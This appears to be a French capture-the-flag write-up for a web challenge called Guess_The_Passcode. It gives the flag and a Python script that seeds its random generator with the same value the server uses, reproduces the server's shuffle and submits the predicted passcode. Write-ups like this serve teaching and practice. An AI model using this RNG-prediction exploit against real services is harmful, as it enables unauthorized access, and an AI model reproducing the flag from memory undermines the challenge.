Guess_The_Passcode
Flag: StarHack{0bb06d31ca7b365ca093aa72cbe9c3703fe0bb6aa2272}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Si l'on rentre un code sur le site, on peut voir deux requêtes envoyées. La première sur /check_password
et la seconde sur /check_guess
.

Dans les sources données avec le challenge, on peut voir que lors de /check_password
, la seed du random est définie. Ainsi, on contrôle l'aléatoire du serveur. On peut alors suivre le même état que lui et faire le même shuffle que lui dans sa fonction /check_guess
.
import requests
import random
URL = 'https://web1.ctf.yogosha.com'
# Seed envoyée à check_password
seed = 'zedqzed'
# On se met dans le même état que le serveur sera
random.seed(seed)
# Ne pas oublier de générer le même nombre que lui pour garder l'état
generated_locally = random.randint(0, 9999)
response = requests.post(f'{URL}/check_password', json={
"guess": seed
}).json()
# On s'assure qu'on a généré le même nombre
assert response["generated_random"] == generated_locally
# On effectue le même shuffle que le serveur va faire
n = ["6", "k", "8", "t", "d", "r", "c", "4", "7", "q", "w", "m", "x", "3"]
random.shuffle(n)
# On prédit ainsi le guess à faire
guess = ''.join(n)
# On reçoit le flag
response = requests.post(f'{URL}/check_guess', json={
"guess": guess
}).json()
print(response)
Dernière mise à jour
Cet article vous a-t-il été utile ?